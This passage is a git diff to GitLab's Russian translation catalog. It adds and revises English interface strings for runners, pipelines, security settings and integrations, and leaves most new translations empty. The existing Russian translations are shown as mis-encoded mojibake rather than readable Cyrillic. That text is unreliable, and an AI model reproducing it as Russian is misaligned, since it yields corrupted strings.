msgstr "Ðет раÑпиÑаний"
+msgid "No service accounts"
+msgstr ""
+
msgid "No severity matches the provided parameter"
msgstr ""
@@ -23782,6 +24165,9 @@ msgstr "ÐедоÑтупно Ð´Ð»Ñ Ð·Ð°Ñ‰Ð¸Ñ‰ÐµÐ½Ð½Ñ‹Ñ… веток"
msgid "Not confidential"
msgstr "Ðе конфиденциально"
+msgid "Not found"
+msgstr ""
+
msgid "Not found."
msgstr ""
@@ -24005,7 +24391,7 @@ msgstr ""
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr ""
-msgid "Number of Elasticsearch shards and replicas (per index)"
+msgid "Number of Elasticsearch shards and replicas per index:"
msgstr ""
msgid "Number of Git pushes after which %{code_start}git gc%{code_end} is run."
@@ -24161,7 +24547,7 @@ msgstr ""
msgid "OnCallSchedules|For this rotation, on-call will be:"
msgstr ""
-msgid "OnCallSchedules|On-call schedule %{obstacle} in Project %{project}"
+msgid "OnCallSchedules|On-call schedule %{obstacle} in project %{project}"
msgstr ""
msgid "OnCallSchedules|On-call schedules"
@@ -24245,6 +24631,12 @@ msgstr ""
msgid "OnCallSchedules|Your schedule has been successfully created. To add individual users to this schedule, use the Add a rotation button. To enable notifications for this schedule, you must also create an %{linkStart}escalation policy%{linkEnd}."
msgstr ""
+msgid "OnDemandScans|%{learnMoreLinkStart}Learn more about on-demand scans%{learnMoreLinkEnd}."
+msgstr ""
+
+msgid "OnDemandScans|Could not fetch on-demand scans. Please refresh the page, or try again later."
+msgstr ""
+
msgid "OnDemandScans|Could not fetch scanner profiles. Please refresh the page, or try again later."
msgstr ""
@@ -24335,19 +24727,19 @@ msgstr ""
msgid "OnDemandScans|Target"
msgstr ""
-msgid "OnDemandScans|Use existing scanner profile"
+msgid "OnDemandScans|There are no finished scans."
msgstr ""
-msgid "OnDemandScans|Use existing site profile"
+msgid "OnDemandScans|There are no running scans."
msgstr ""
-msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
+msgid "OnDemandScans|Use existing scanner profile"
msgstr ""
-msgid "Once a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
+msgid "OnDemandScans|Use existing site profile"
msgstr ""
-msgid "Once a project is permanently deleted, it cannot be recovered. You will lose this project's repository and all related resources, including issues and merge requests."
+msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
msgstr ""
msgid "Once imported, repositories can be mirrored over SSH. Read more %{link_start}here%{link_end}."
@@ -24369,6 +24761,12 @@ msgstr[1] "Еще %d Ñлементов"
msgstr[2] "Еще %d Ñлементов"
msgstr[3] "Еще %d Ñлементов"
+msgid "One or more contacts were successfully added."
+msgstr ""
+
+msgid "One or more contacts were successfully removed."
+msgstr ""
+
msgid "One or more groups that you don't have access to."
msgstr "Одна или неÑколько групп, к которым у Ð²Ð°Ñ Ð½ÐµÑ‚ доÑтупа."
@@ -24408,6 +24806,9 @@ msgstr ""
msgid "Only effective when remote storage is enabled. Set to 0 for no size limit."
msgstr ""
+msgid "Only enable search after installing the plugin, enabling indexing, and recreating the index."
+msgstr ""
+
msgid "Only include features new to your current subscription tier."
msgstr ""
@@ -24429,6 +24830,9 @@ msgstr ""
msgid "Only reCAPTCHA v2 is supported:"
msgstr ""
+msgid "Only use lowercase letters, numbers, and underscores."
+msgstr ""
+
msgid "Only users from the specified IP address ranges are able to reach this group, including all subgroups, projects, and Git repositories."
msgstr ""
@@ -24447,7 +24851,7 @@ msgstr "Открыто"
msgid "Open Selection"
msgstr "Открыть выбранное"
-msgid "Open a CLI and connect to the cluster you want to install the Agent in. Use this installation method to minimize any manual steps. The token is already included in the command."
+msgid "Open a CLI and connect to the cluster you want to install the agent in. Use this installation method to minimize any manual steps. The token is already included in the command."
msgstr ""
msgid "Open epics"
@@ -24687,6 +25091,9 @@ msgstr ""
msgid "Package type must be Maven"
msgstr ""
+msgid "Package type must be NPM"
+msgstr ""
+
msgid "Package type must be NuGet"
msgstr ""
@@ -25045,6 +25452,9 @@ msgstr ""
msgid "Page settings"
msgstr ""
+msgid "Page size"
+msgstr ""
+
msgid "PagerDutySettings|Active"
msgstr ""
@@ -25141,9 +25551,6 @@ msgstr ""
msgid "Password"
msgstr "Пароль"
-msgid "Password (for password-protected Elasticsearch servers)"
-msgstr ""
-
msgid "Password (optional)"
msgstr "Пароль (необÑзательно)"
@@ -25396,6 +25803,12 @@ msgstr "Ð¡Ð±Ð¾Ñ€Ð¾Ñ‡Ð½Ð°Ñ Ð»Ð¸Ð½Ð¸Ñ %{label}"
msgid "Pipeline %{label} for \"%{dataTitle}\""
msgstr "Ð¡Ð±Ð¾Ñ€Ð¾Ñ‡Ð½Ð°Ñ Ð»Ð¸Ð½Ð¸Ñ %{label} Ð´Ð»Ñ %{dataTitle}\""
+msgid "Pipeline Editor"
+msgstr ""
+
+msgid "Pipeline Editor|Are you sure you want to reset the file to its last committed version?"
+msgstr ""
+
msgid "Pipeline ID"
msgstr ""
@@ -25711,9 +26124,6 @@ msgstr ""
msgid "Pipelines|More Information"
msgstr ""
-msgid "Pipelines|No artifacts available"
-msgstr ""
-
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
@@ -25843,6 +26253,9 @@ msgstr ""
msgid "Pipeline|Created"
msgstr ""
+msgid "Pipeline|Creating pipeline."
+msgstr ""
+
msgid "Pipeline|Date"
msgstr "Дата"
@@ -25858,9 +26271,6 @@ msgstr ""
msgid "Pipeline|In progress"
msgstr ""
-msgid "Pipeline|Key"
-msgstr "Ключ"
-
msgid "Pipeline|Manual"
msgstr ""
@@ -25951,12 +26361,12 @@ msgstr ""
msgid "Pipeline|Triggerer"
msgstr ""
-msgid "Pipeline|Value"
-msgstr "Значение"
-
msgid "Pipeline|Variables"
msgstr "Переменные"
+msgid "Pipeline|View commit"
+msgstr ""
+
msgid "Pipeline|View pipeline"
msgstr ""
@@ -26095,6 +26505,9 @@ msgstr ""
msgid "Please enter a valid number"
msgstr "ПожалуйÑта введите правильное чиÑло"
+msgid "Please enter a valid time interval"
+msgstr ""
+
msgid "Please enter or upload a valid license."
msgstr ""
@@ -26122,9 +26535,6 @@ msgstr ""
msgid "Please note that this application is not provided by GitLab and you should verify its authenticity before allowing access."
msgstr ""
-msgid "Please only enable search after installing the plugin, enabling indexing and recreating the index"
-msgstr ""
-
msgid "Please provide a name"
msgstr "ПожалуйÑта, укажите имÑ"
@@ -26365,8 +26775,8 @@ msgstr ""
msgid "Prev"
msgstr "Пред."
-msgid "Prevent adding new members to project membership within this group"
-msgstr "Запретить добавление новых учаÑтников в проектах Ñтой группы"
+msgid "Prevent adding new members to projects within this group"
+msgstr ""
msgid "Prevent auto-stopping"
msgstr ""
@@ -26647,8 +27057,8 @@ msgstr ""
msgid "Profiles|Do not show on profile"
msgstr "Ðе показывать в профиле"
-msgid "Profiles|Don't display activity-related personal information on your profiles"
-msgstr "Ðе отображать информацию о перÑональной активноÑти, в вашем профиле"
+msgid "Profiles|Don't display activity-related personal information on your profile"
+msgstr ""
msgid "Profiles|Edit Profile"
msgstr "Изменить профиль"
@@ -26668,15 +27078,15 @@ msgstr ""
msgid "Profiles|Enter your pronouns to let people know how to refer to you"
msgstr ""
+msgid "Profiles|Expiration date"
+msgstr ""
+
msgid "Profiles|Expired key is not valid."
msgstr ""
msgid "Profiles|Expired:"
msgstr ""
-msgid "Profiles|Expires at"
-msgstr "ИÑтекает"
-
msgid "Profiles|Expires:"
msgstr ""
@@ -26716,13 +27126,16 @@ msgstr "Ðеверное Ð¸Ð¼Ñ Ð¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ñ‚ÐµÐ»Ñ"
msgid "Profiles|Key"
msgstr "Ключ"
-msgid "Profiles|Key can still be used after expiration."
+msgid "Profiles|Key becomes invalid on this date."
msgstr ""
-msgid "Profiles|Key usable beyond expiration date."
+msgid "Profiles|Key becomes invalid on this date. Maximum lifetime for SSH keys is %{max_ssh_key_lifetime} days"
+msgstr ""
+
+msgid "Profiles|Key can still be used after expiration."
msgstr ""
-msgid "Profiles|Key will be deleted on this date."
+msgid "Profiles|Key usable beyond expiration date."
msgstr ""
msgid "Profiles|Last used:"
@@ -27052,9 +27465,6 @@ msgstr ""
msgid "Project name"
msgstr "Ð˜Ð¼Ñ Ð¿Ñ€Ð¾ÐµÐºÑ‚Ð°"
-msgid "Project name suffix"
-msgstr ""
-
msgid "Project navigation"
msgstr ""
@@ -27133,6 +27543,9 @@ msgstr "Избранные"
msgid "ProjectOverview|Unstar"
msgstr "Убрать из избранного"
+msgid "ProjectOverview|You don't have permission to fork this project"
+msgstr ""
+
msgid "ProjectOverview|You have reached your project limit"
msgstr ""
@@ -27400,12 +27813,18 @@ msgstr ""
msgid "ProjectSettings|Manages large files such as audio, video, and graphics files."
msgstr ""
+msgid "ProjectSettings|Maximum 500 characters."
+msgstr ""
+
msgid "ProjectSettings|Merge checks"
msgstr "Проверки ÑлиÑниÑ"
msgid "ProjectSettings|Merge commit"
msgstr "Ð—Ð°Ð¿Ñ€Ð¾Ñ Ð½Ð° ÑлиÑние"
+msgid "ProjectSettings|Merge commit message template"
+msgstr ""
+
msgid "ProjectSettings|Merge commit with semi-linear history"
msgstr "Объединить коммит Ñ Ð¿Ð¾Ð»ÑƒÐ»Ð¸Ð½ÐµÐ¹Ð½Ð¾Ð¹ иÑторией"
@@ -27475,6 +27894,9 @@ msgstr ""
msgid "ProjectSettings|Requirements management system."
msgstr ""
+msgid "ProjectSettings|Search for topic"
+msgstr ""
+
msgid "ProjectSettings|Security & Compliance"
msgstr ""
@@ -27499,6 +27921,9 @@ msgstr ""
msgid "ProjectSettings|Snippets"
msgstr "Сниппеты"
+msgid "ProjectSettings|Squash commit message template"
+msgstr ""
+
msgid "ProjectSettings|Squash commits when merging"
msgstr ""
@@ -27520,6 +27945,12 @@ msgstr ""
msgid "ProjectSettings|The commit message used when applying merge request suggestions. %{link_start}Learn more about suggestions.%{link_end}"
msgstr ""
+msgid "ProjectSettings|The commit message used when merging, if the merge method creates a merge commit. %{link_start}Learn more about syntax and variables.%{link_end}"
+msgstr ""
+
+msgid "ProjectSettings|The commit message used when squashing commits. %{link_start}Learn more about syntax and variables.%{link_end}"
+msgstr ""
+
msgid "ProjectSettings|The default target project for merge requests created in this fork project."
msgstr ""
@@ -27724,6 +28155,9 @@ msgstr ""
msgid "Projects with no vulnerabilities and security scanning enabled"
msgstr ""
+msgid "Projects with this topic"
+msgstr ""
+
msgid "Projects with write access"
msgstr "Проекты Ñ Ð´Ð¾Ñтупом Ð´Ð»Ñ Ð·Ð°Ð¿Ð¸Ñи"
@@ -27931,6 +28365,9 @@ msgstr "ПовыÑить"
msgid "Promote issue to an epic"
msgstr ""
+msgid "Promote issue to incident"
+msgstr ""
+
msgid "Promote to epic"
msgstr ""
@@ -27949,9 +28386,15 @@ msgstr "ÐŸÐµÑ€ÐµÐ½Ð¾Ñ Ð½Ðµ выполнен -%{message}"
msgid "Promoted issue to an epic."
msgstr ""
+msgid "Promotes issue to incident"
+msgstr ""
+
msgid "Promotion is not supported."
msgstr ""
+msgid "Promotions|Add %{link_start} description templates %{link_end} to help your contributors to communicate effectively!"
+msgstr ""
+
msgid "Promotions|Add Group Webhooks and GitLab Enterprise Edition."
msgstr ""
@@ -28312,6 +28755,9 @@ msgstr "Публичный - ДоÑтуп к проекту возможен бÐ
msgid "Public Access Help"
msgstr ""
+msgid "Public deploy keys"
+msgstr ""
+
msgid "Public deploy keys (%{deploy_keys_count})"
msgstr "Публичные ключи Ñ€Ð°Ð·Ð²ÐµÑ€Ñ‚Ñ‹Ð²Ð°Ð½Ð¸Ñ (%{deploy_keys_count})"
@@ -28474,6 +28920,9 @@ msgstr "ПоÑмотреть проект %{project_full_name}"
msgid "PushoverService|Total commits count: %{total_commits_count}"
msgstr "Ð’Ñего коммитов: %{total_commits_count}"
+msgid "QualitySummary|Project quality"
+msgstr ""
+
msgid "Quarters"
msgstr ""
@@ -28588,6 +29037,12 @@ msgstr ""
msgid "Recaptcha verified?"
msgstr ""
+msgid "Receive a $50 gift card as a thank you for your time."
+msgstr ""
+
+msgid "Receive a %{strongOpen}$50 gift card%{strongClose} as a thank you for your time."
+msgstr ""
+
msgid "Receive alerts from manually configured Prometheus servers."
msgstr "Получать Ð¾Ð¿Ð¾Ð²ÐµÑ‰ÐµÐ½Ð¸Ñ Ð¾Ñ‚ наÑтроенных вручную Ñерверов Prometheus."
@@ -28691,9 +29146,6 @@ msgstr ""
msgid "Regex pattern"
msgstr ""
-msgid "Region that Elasticsearch is configured"
-msgstr ""
-
msgid "Register"
msgstr ""
@@ -28863,6 +29315,9 @@ msgstr "Удалить %{displayReference}"
msgid "Remove Zoom meeting"
msgstr "Удалить вÑтречу в Zoom"
+msgid "Remove Zoom meeting."
+msgstr ""
+
msgid "Remove access"
msgstr ""
@@ -28890,6 +29345,9 @@ msgstr ""
msgid "Remove assignee"
msgstr "Удалить ответÑтвенного"
+msgid "Remove attention request"
+msgstr ""
+
msgid "Remove avatar"
msgstr "Удалить аватар"
@@ -28899,6 +29357,12 @@ msgstr "Удалить карту"
msgid "Remove child epic from an epic"
msgstr "Удалить дочернюю цель у текущей"
+msgid "Remove customer relation contact(s)."
+msgstr ""
+
+msgid "Remove customer relation contacts"
+msgstr ""
+
msgid "Remove deploy key"
msgstr ""
@@ -29016,15 +29480,15 @@ msgstr "Удалён Ñтап %{milestone_reference}."
msgid "Removed %{reviewer_text} %{reviewer_references}."
msgstr ""
-msgid "Removed %{type} with id %{id}"
-msgstr "Удалено %{type} Ñ Ð¸Ð´ÐµÐ½Ñ‚Ð¸Ñ„Ð¸ÐºÐ°Ñ‚Ð¾Ñ€Ð¾Ð¼ %{id}"
-
msgid "Removed all labels."
msgstr "Ð’Ñе метки удалены."
msgid "Removed an issue from an epic."
msgstr "ОбÑуждение удалено из цели."
+msgid "Removed attention request from @%{username}"
+msgstr ""
+
msgid "Removed group can not be restored!"
msgstr ""
@@ -29040,6 +29504,9 @@ msgstr ""
msgid "Removed time estimate."
msgstr "Удалено оценочное времÑ."
+msgid "Removed upload with id %{id}"
+msgstr ""
+
msgid "RemovedProjects|Projects which are removed and are yet to be permanently removed are visible here."
msgstr ""
@@ -29109,6 +29576,9 @@ msgstr "Открыть заново"
msgid "Reopen %{issueType}"
msgstr ""
+msgid "Reopen %{noteable}"
+msgstr ""
+
msgid "Reopen epic"
msgstr "Открыть цель повторно"
@@ -29133,6 +29603,9 @@ msgstr ""
msgid "Replace"
msgstr "Заменить"
+msgid "Replace %{blob_name}"
+msgstr ""
+
msgid "Replace %{name}"
msgstr ""
@@ -29320,6 +29793,9 @@ msgstr ""
msgid "RepositoriesAnalytics|Average test coverage last 30 days"
msgstr ""
+msgid "RepositoriesAnalytics|Code Coverage: %{averageCoverage}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Coverage"
msgstr "Покрытие"
@@ -29341,6 +29817,9 @@ msgstr ""
msgid "RepositoriesAnalytics|Jobs with Coverage"
msgstr "Ð—Ð°Ð´Ð°Ð½Ð¸Ñ Ñ ÐŸÐ¾ÐºÑ€Ñ‹Ñ‚Ð¸ÐµÐ¼"
+msgid "RepositoriesAnalytics|Jobs with Coverage: %{coverageCount}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Last Update"
msgstr ""
@@ -29359,6 +29838,9 @@ msgstr ""
msgid "RepositoriesAnalytics|Projects with Coverage"
msgstr "Проекты Ñ ÐŸÐ¾ÐºÑ€Ñ‹Ñ‚Ð¸ÐµÐ¼"
+msgid "RepositoriesAnalytics|Projects with Coverage: %{projectCount}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Test Code Coverage"
msgstr "Покрытие кода теÑтами"
@@ -29437,7 +29919,7 @@ msgstr ""
msgid "Repository update events"
msgstr ""
-msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
+msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / Pipeline Artifacts: %{counter_pipeline_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
msgstr ""
msgid "RepositorySettingsAccessLevel|Select"
@@ -29452,6 +29934,12 @@ msgstr "Ð—Ð°Ð¿Ñ€Ð¾Ñ Ð´Ð¾Ñтупа"
msgid "Request a new one"
msgstr ""
+msgid "Request attention"
+msgstr ""
+
+msgid "Request attention to review"
+msgstr ""
+
msgid "Request details"
msgstr ""
@@ -29473,6 +29961,9 @@ msgstr ""
msgid "Requested %{time_ago}"
msgstr "Запрошено %{time_ago}"
+msgid "Requested attention from @%{username}"
+msgstr ""
+
msgid "Requested design version does not exist."
msgstr ""
@@ -29512,6 +30003,9 @@ msgstr ""
msgid "Required in this project."
msgstr ""
+msgid "Required only if you are not using role instance credentials."
+msgstr ""
+
msgid "Requirement %{reference} has been added"
msgstr "Требование %{reference} было добавлено"
@@ -29583,6 +30077,9 @@ msgstr ""
msgid "Reset authorization key?"
msgstr ""
+msgid "Reset file"
+msgstr ""
+
msgid "Reset filters"
msgstr ""
@@ -29903,6 +30400,9 @@ msgstr ""
msgid "Runners|Active"
msgstr ""
+msgid "Runners|All"
+msgstr ""
+
msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. %{percentage} spot."
msgstr ""
@@ -29957,6 +30457,9 @@ msgstr ""
msgid "Runners|For each solution, you will choose a capacity. 1 enables warm HA through Auto Scaling group re-spawn. 2 enables hot HA because the service is available even when a node is lost. 3 or more enables hot HA and manual scaling of runner fleet."
msgstr ""
+msgid "Runners|Group"
+msgstr ""
+
msgid "Runners|Group Runners"
msgstr ""
@@ -29969,6 +30472,9 @@ msgstr ""
msgid "Runners|Install a runner"
msgstr ""
+msgid "Runners|Instance"
+msgstr ""
+
msgid "Runners|Last contact"
msgstr ""
@@ -29990,6 +30496,9 @@ msgstr ""
msgid "Runners|New runner, has not connected yet"
msgstr ""
+msgid "Runners|No recent contact from this runner; last contact was %{timeAgo}"
+msgstr ""
+
msgid "Runners|Not available to run jobs"
msgstr ""
@@ -30002,12 +30511,18 @@ msgstr ""
msgid "Runners|Online"
msgstr ""
+msgid "Runners|Online Runners"
+msgstr ""
+
msgid "Runners|Paused"
msgstr ""
msgid "Runners|Platform"
msgstr ""
+msgid "Runners|Project"
+msgstr ""
+
msgid "Runners|Property Name"
msgstr ""
@@ -30041,6 +30556,9 @@ msgstr ""
msgid "Runners|Runner #%{runner_id}"
msgstr ""
+msgid "Runners|Runner ID"
+msgstr ""
+
msgid "Runners|Runner assigned to project."
msgstr ""
@@ -30050,6 +30568,9 @@ msgstr ""
msgid "Runners|Runner is online, last contact was %{runner_contact} ago"
msgstr ""
+msgid "Runners|Runner is online; last contact was %{timeAgo}"
+msgstr ""
+
msgid "Runners|Runner is paused, last contact was %{runner_contact} ago"
msgstr ""
@@ -30080,12 +30601,18 @@ msgstr ""
msgid "Runners|Something went wrong while fetching the tags suggestions"
msgstr ""
+msgid "Runners|Status"
+msgstr ""
+
msgid "Runners|Stop the runner from accepting new jobs."
msgstr ""
msgid "Runners|Tags"
msgstr ""
+msgid "Runners|This runner has never connected to this instance"
+msgstr ""
+
msgid "Runners|This runner is associated with one or more projects."
msgstr ""
@@ -30143,19 +30670,25 @@ msgstr ""
msgid "Runners|You have used %{quotaUsed} out of %{quotaLimit} of your shared Runners pipeline minutes."
msgstr "Ð’Ñ‹ иÑпользовали %{quotaUsed} из %{quotaLimit} ваших минут Ñборки на общих Runner'ах."
-msgid "Runners|group"
+msgid "Runners|active"
msgstr ""
-msgid "Runners|instance"
+msgid "Runners|group"
msgstr ""
msgid "Runners|locked"
msgstr ""
-msgid "Runners|paused"
+msgid "Runners|not connected"
+msgstr ""
+
+msgid "Runners|offline"
msgstr ""
-msgid "Runners|project"
+msgid "Runners|online"
+msgstr ""
+
+msgid "Runners|paused"
msgstr ""
msgid "Runners|shared"
@@ -30236,21 +30769,6 @@ msgstr ""
msgid "SVG illustration"
msgstr ""
-msgid "SastEntryPoints|Add Security Testing"
-msgstr ""
-
-msgid "SastEntryPoints|Catch your security vulnerabilities ahead of time!"
-msgstr ""
-
-msgid "SastEntryPoints|GitLab can scan your code for security vulnerabilities. Static Application Security Testing (SAST) helps you worry less and build more."
-msgstr ""
-
-msgid "SastEntryPoints|How do I set up SAST?"
-msgstr ""
-
-msgid "SastEntryPoints|Learn more"
-msgstr ""
-
msgid "Satisfied"
msgstr ""
@@ -30649,6 +31167,9 @@ msgstr ""
msgid "Secure token that identifies an external storage request."
msgstr ""
+msgid "SecureCodeWarrior"
+msgstr ""
+
msgid "Security"
msgstr "БезопаÑноÑÑ‚ÑŒ"
@@ -30673,6 +31194,9 @@ msgstr "Отчет безопаÑноÑти уÑтарел. ПожалуйÑта
msgid "Security report is out of date. Run %{newPipelineLinkStart}a new pipeline%{newPipelineLinkEnd} for the target branch (%{targetBranchName})"
msgstr "Отчет о безопаÑноÑти уÑтарел. ЗапуÑтите %{newPipelineLinkStart}новую Ñборочную линию%{newPipelineLinkEnd} в целевой ветке (%{targetBranchName})"
+msgid "Security training with guide and learning pathways."
+msgstr ""
+
msgid "SecurityApprovals|A merge request approval is required when a security report contains a new vulnerability."
msgstr ""
@@ -30721,7 +31245,7 @@ msgstr ""
msgid "SecurityConfiguration|Available with Ultimate"
msgstr ""
-msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the Merge Request."
+msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the merge request."
msgstr ""
msgid "SecurityConfiguration|Compliance"
@@ -30736,7 +31260,7 @@ msgstr ""
msgid "SecurityConfiguration|Configure %{feature}"
msgstr ""
-msgid "SecurityConfiguration|Configure via Merge Request"
+msgid "SecurityConfiguration|Configure with a merge request"
msgstr ""
msgid "SecurityConfiguration|Copy code and open .gitlab-ci.yml file"
@@ -30748,8 +31272,8 @@ msgstr ""
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
msgstr ""
-msgid "SecurityConfiguration|Create Merge Request"
-msgstr "Создать Ð·Ð°Ð¿Ñ€Ð¾Ñ Ð½Ð° ÑлиÑние"
+msgid "SecurityConfiguration|Create merge request"
+msgstr ""
msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{linkStart}GitLab SAST documentation%{linkEnd}."
msgstr ""
@@ -30808,6 +31332,9 @@ msgstr ""
msgid "SecurityConfiguration|Security testing"
msgstr ""
+msgid "SecurityConfiguration|Security training"
+msgstr ""
+
msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}."
msgstr ""
@@ -30817,6 +31344,9 @@ msgstr ""
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
msgstr ""
+msgid "SecurityConfiguration|Vulnerability Management"
+msgstr ""
+
msgid "SecurityConfiguration|Vulnerability details and statistics in the merge request"
msgstr ""
@@ -30841,6 +31371,12 @@ msgstr ""
msgid "SecurityOrchestration|An error occurred assigning your security policy project"
msgstr ""
+msgid "SecurityOrchestration|An error occurred unassigning your security policy project"
+msgstr ""
+
+msgid "SecurityOrchestration|Choose a project"
+msgstr ""
+
msgid "SecurityOrchestration|Description"
msgstr ""
@@ -30910,7 +31446,10 @@ msgstr ""
msgid "SecurityOrchestration|Scan execution policies can only be created by project owners."
msgstr ""
-msgid "SecurityOrchestration|Scan to be performed every %{cadence} on the %{branches}"
+msgid "SecurityOrchestration|Scan to be performed %{cadence}"
+msgstr ""
+
+msgid "SecurityOrchestration|Scan to be performed %{cadence} on the %{branches}"
msgstr ""
msgid "SecurityOrchestration|Scan to be performed on every pipeline on the %{branches}"
@@ -30919,6 +31458,9 @@ msgstr ""
msgid "SecurityOrchestration|Security policy project was linked successfully"
msgstr ""
+msgid "SecurityOrchestration|Security policy project was unlinked successfully"
+msgstr ""
+
msgid "SecurityOrchestration|Select a project to store your security policies in. %{linkStart}More information.%{linkEnd}"
msgstr ""
@@ -30940,6 +31482,12 @@ msgstr ""
msgid "SecurityOrchestration|To widen your search, change filters above or select a different security policy project."
msgstr ""
+msgid "SecurityOrchestration|Unlink project"
+msgstr ""
+
+msgid "SecurityOrchestration|Unlinking a security project removes all policies stored in the linked security project. Save to confirm this action."
+msgstr ""
+
msgid "SecurityOrchestration|Update scan execution policies"
msgstr ""
@@ -31159,7 +31707,7 @@ msgstr ""
msgid "SecurityReports|Take survey"
msgstr ""
-msgid "SecurityReports|The Vulnerability Report shows the results of the lastest successful pipeline on your project's default branch, as well as vulnerabilities from your latest container scan. %{linkStart}Learn more.%{linkEnd}"
+msgid "SecurityReports|The Vulnerability Report shows the results of the latest successful pipeline on your project's default branch, as well as vulnerabilities from your latest container scan. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
msgid "SecurityReports|The security reports below contain one or more vulnerability findings that could not be parsed and were not recorded. Download the artifacts in the job output to investigate. Ensure any security report created conforms to the relevant %{helpPageLinkStart}JSON schema%{helpPageLinkEnd}."
@@ -31192,6 +31740,9 @@ msgstr ""
msgid "SecurityReports|There was an error while generating the report."
msgstr ""
+msgid "SecurityReports|These vulnerabilities were detected in external sources. They are not necessarily tied to your GitLab project. For example, running containers, URLs, and so on."
+msgstr ""
+
msgid "SecurityReports|To widen your search, change or remove filters above"
msgstr ""
@@ -31330,6 +31881,9 @@ msgstr ""
msgid "Select assignee"
msgstr "Выбрать ответÑтвенного"
+msgid "Select assignee(s)"
+msgstr ""
+
msgid "Select branch"
msgstr ""
@@ -31534,9 +32088,6 @@ msgstr ""
msgid "Sep"
msgstr "Сент."
-msgid "Separate topics with commas."
-msgstr "РазделÑйте теги запÑтыми."
-
msgid "September"
msgstr "СентÑбрь"
@@ -31636,7 +32187,16 @@ msgstr ""
msgid "Service"
msgstr ""
-msgid "Service Accounts keys are required to authorize GitLab to deploy your Google Cloud project."
+msgid "Service Account"
+msgstr ""
+
+msgid "Service Account Key"
+msgstr ""
+
+msgid "Service Accounts"
+msgstr ""
+
+msgid "Service Accounts keys authorize GitLab to deploy your Google Cloud project"
msgstr ""
msgid "Service Desk"
@@ -31648,6 +32208,9 @@ msgstr ""
msgid "Service URL"
msgstr ""
+msgid "Service account generated successfully"
+msgstr ""
+
msgid "Service ping is disabled in your configuration file, and cannot be enabled through this form."
msgstr ""
@@ -31693,6 +32256,9 @@ msgstr ""
msgid "ServicePing|Turn on service ping to review instance-level analytics."
msgstr ""
+msgid "Services"
+msgstr ""
+
msgid "Session ID"
msgstr ""
@@ -31774,6 +32340,9 @@ msgstr ""
msgid "Set the iteration to %{iteration_reference}."
msgstr "Задать итерацию %{iteration_reference}."
+msgid "Set the maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
+msgstr ""
+
msgid "Set the maximum session time for a web terminal."
msgstr ""
@@ -31831,9 +32400,6 @@ msgstr "УÑтановить приоритет на %{weight}."
msgid "Set what should be replicated by this secondary site."
msgstr ""
-msgid "SetPasswordToCloneLink|set a password"
-msgstr "уÑтановите пароль"
-
msgid "SetStatusModal|Add status emoji"
msgstr "Добавить Ñмайл"
@@ -31910,9 +32476,6 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
-msgid "Setting this to 0 means using the system default timeout value."
-msgstr ""
-
msgid "Settings"
msgstr "ÐаÑтройки"
@@ -31979,6 +32542,27 @@ msgstr "Ð¡Ð±Ñ€Ð¾Ñ Ð¸Ñпользованных минут Ñборочной л
msgid "Sherlock Transactions"
msgstr ""
+msgid "Shimo|Go to Shimo Workspace"
+msgstr ""
+
+msgid "Shimo|Link to a Shimo Workspace from the sidebar."
+msgstr ""
+
+msgid "Shimo|Shimo"
+msgstr ""
+
+msgid "Shimo|Shimo Workspace"
+msgstr ""
+
+msgid "Shimo|Shimo Workspace URL"
+msgstr ""
+
+msgid "Shimo|Shimo Workspace integration is enabled"
+msgstr ""
+
+msgid "Shimo|You've enabled the Shimo Workspace integration. You can view your wiki directly in Shimo."
+msgstr ""
+
msgid "Should you ever lose your phone or access to your one time password secret, each of these recovery codes can be used one time each to regain access to your account. Please save them in a safe place, or you %{boldStart}will%{boldEnd} lose access to your account."
msgstr ""
@@ -31994,6 +32578,9 @@ msgstr ""
msgid "Show all activity"
msgstr ""
+msgid "Show all breadcrumbs"
+msgstr ""
+
msgid "Show all issues."
msgstr ""
@@ -32042,18 +32629,9 @@ msgstr "Показать поÑледнюю верÑию"
msgid "Show list"
msgstr ""
-msgid "Show me how to add a pipeline"
-msgstr ""
-
msgid "Show one file at a time"
msgstr ""
-msgid "Show parent pages"
-msgstr "Показать родительÑкие Ñтраницы"
-
-msgid "Show parent subgroups"
-msgstr "Показать родительÑкие подгруппы"
-
msgid "Show the Closed list"
msgstr ""
@@ -32422,6 +33000,12 @@ msgstr "Что-то пошло не так на нашей Ñтороне. ПоÐ
msgid "Something went wrong trying to change the locked state of this %{issuableDisplayName}"
msgstr ""
+msgid "Something went wrong trying to load issue contacts."
+msgstr ""
+
+msgid "Something went wrong when creating a work item. Please try again"
+msgstr ""
+
msgid "Something went wrong when reordering designs. Please try again"
msgstr ""
@@ -32506,9 +33090,6 @@ msgstr ""
